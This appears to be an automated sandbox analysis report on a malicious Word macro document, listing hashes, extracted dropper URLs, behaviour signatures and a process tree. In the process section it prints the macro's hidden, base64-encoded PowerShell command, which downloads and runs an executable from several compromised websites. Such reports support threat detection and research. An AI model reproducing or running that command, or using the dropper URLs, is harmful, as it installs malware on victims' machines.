Analysis

  • max time kernel
    57s
  • max time network
    24s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    16-11-2024 12:42

General

  • Target

    2020-01-13_153140.doc

  • Size

    231KB

  • MD5

    1e0d0d07a697e6d0c4384cef98fc7f1f

  • SHA1

    c9e927871b9c76a9825fe3ba5b7e773bdc652f27

  • SHA256

    9769b9ed40a8e07ef3e2c201b83dbc666217eefd3deaddc6f49d00adc8a4ce17

  • SHA512

    24e7ef4a711c039455ceb8e191016d30bd073d966bb62de9b439babe4ead4f4602dfc61e83d78d640db795a38d37349f3f4922645dba0c8a44a2d8488c532856

  • SSDEEP

    6144:50Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+JTXN:50E3dxtR/iU9mvUPlXN

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://www.entreprendre-en-alsace.com/cust_service/Hp/

exe.dropper

https://www.ambiance-piscines.fr/wp-admin/tQQvQCL/

exe.dropper

https://www.akarosi.com/0868e784ba5af656b959f6ec5e4e9428/a1a/

exe.dropper

https://thecurrenthotel.com/wp-content/zel617r/

exe.dropper

https://wholesaleusedbooks.co.uk/jetpack-temp/Xl1SeJPW/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-01-13_153140.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2660
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2468
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -w hidden -en JABHAHUAawB6AG4AaABkAGMAPQAnAE8AZQBmAGwAcABjAGUAZgAnADsAJABWAHAAegBpAHkAZwBlAGcAdwB0AGEAZQBhACAAPQAgACcAMgA2ADUAJwA7ACQAUQBxAGEAcABtAHoAawB5AGMAcgBiAGsAPQAnAFMAagBkAHoAcQBzAG0AYQAnADsAJABWAGIAYQBhAGgAbQB1AGQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFYAcAB6AGkAeQBnAGUAZwB3AHQAYQBlAGEAKwAnAC4AZQB4AGUAJwA7ACQAQwB5AHYAaABxAHcAegB0AGgAagA9ACcASwBrAGEAaQBzAGQAeABqAG0AJwA7ACQAUwBrAHcAdABqAHcAZQBvAGsAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQBUAC4AdwBFAEIAQwBMAGkARQBuAHQAOwAkAFYAcABlAGcAcwBjAHgAaAA9ACcAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AZQBuAHQAcgBlAHAAcgBlAG4AZAByAGUALQBlAG4ALQBhAGwAcwBhAGMAZQAuAGMAbwBtAC8AYwB1AHMAdABfAHMAZQByAHYAaQBjAGUALwBIAHAALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGEAbQBiAGkAYQBuAGMAZQAtAHAAaQBzAGMAaQBuAGUAcwAuAGYAcgAvAHcAcAAtAGEAZABtAGkAbgAvAHQAUQBRAHYAUQBDAEwALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGEAawBhAHIAbwBzAGkALgBjAG8AbQAvADAAOAA2ADgAZQA3ADgANABiAGEANQBhAGYANgA1ADYAYgA5ADUAOQBmADYAZQBjADUAZQA0AGUAOQA0ADIAOAAvAGEAMQBhAC8AKgBoAHQAdABwAHMAOgAvAC8AdABoAGUAYwB1AHIAcgBlAG4AdABoAG8AdABlAGwALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB6AGUAbAA2ADEANwByAC8AKgBoAHQAdABwAHMAOgAvAC8AdwBoAG8AbABlAHMAYQBsAGUAdQBzAGUAZABiAG8AbwBrAHMALgBjAG8ALgB1AGsALwBqAGUAdABwAGEAYwBrAC0AdABlAG0AcAAvAFgAbAAxAFMAZQBKAFAAVwAvACcALgAiAHMAcABgAGwAaQBUACIAKAAnACoAJwApADsAJABLAHgAdABhAGYAcQBwAGYAcQA9ACcATgBvAGQAZABpAGYAcwBpAGQAcABsACcAOwBmAG8AcgBlAGEAYwBoACgAJABEAGkAcQB5AHkAdwBxAGcAZwAgAGkAbgAgACQAVgBwAGUAZwBzAGMAeABoACkAewB0AHIAeQB7ACQAUwBrAHcAdABqAHcAZQBvAGsALgAiAGQAYABvAHcAbgBsAG8AQQBgAEQARgBJAGAAbABFACIAKAAkAEQAaQBxAHkAeQB3AHEAZwBnACwAIAAkAFYAYgBhAGEAaABtAHUAZAApADsAJABUAHkAaQB6AGoAYwB5AHgAaQByAGwAagB4AD0AJwBDAHMAZAB5AHYAdQB3AG0AZQBwAHYAcgAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAFYAYgBhAGEAaABtAHUAZAApAC4AIgBMAEUATgBgAEcAVABIACIAIAAtAGcAZQAgADMAMwAyADQAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYABBAFIAVAAiACgAJABWAGIAYQBhAGgAbQB1AGQAKQA7ACQAUgB5AGoAdABnAGgAaQBwAHcAbwBrAD0AJwBYAHMAdABsAGoAeQBmAGsAbQAnADsAYgByAGUAYQBrADsAJABFAHcAbQBlAGoAbgBrAGgAcwBzAHoAbgA9ACcATwBsAHUAYwBnAGoAbABiACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwAdgBrAGgAcwB6AGcAZQBrAHIAcAA9ACcARQBmAGkAZQBjAGEAbAB4AGUAdQBoAHYAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2752

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2660-8-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2660-0-0x000000002F6A1000-0x000000002F6A2000-memory.dmp

      Filesize

      4KB

    • memory/2660-2-0x000000007139D000-0x00000000713A8000-memory.dmp

      Filesize

      44KB

    • memory/2660-5-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2660-7-0x0000000006440000-0x0000000006540000-memory.dmp

      Filesize

      1024KB

    • memory/2660-6-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2660-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2660-13-0x0000000005B50000-0x0000000005C50000-memory.dmp

      Filesize

      1024KB

    • memory/2660-35-0x0000000005B50000-0x0000000005C50000-memory.dmp

      Filesize

      1024KB

    • memory/2660-28-0x000000007139D000-0x00000000713A8000-memory.dmp

      Filesize

      44KB

    • memory/2660-16-0x0000000005B50000-0x0000000005C50000-memory.dmp

      Filesize

      1024KB

    • memory/2660-29-0x00000000004B0000-0x00000000005B0000-memory.dmp

      Filesize

      1024KB

    • memory/2752-22-0x000000001B100000-0x000000001B3E2000-memory.dmp

      Filesize

      2.9MB

    • memory/2752-23-0x0000000002490000-0x0000000002498000-memory.dmp

      Filesize

      32KB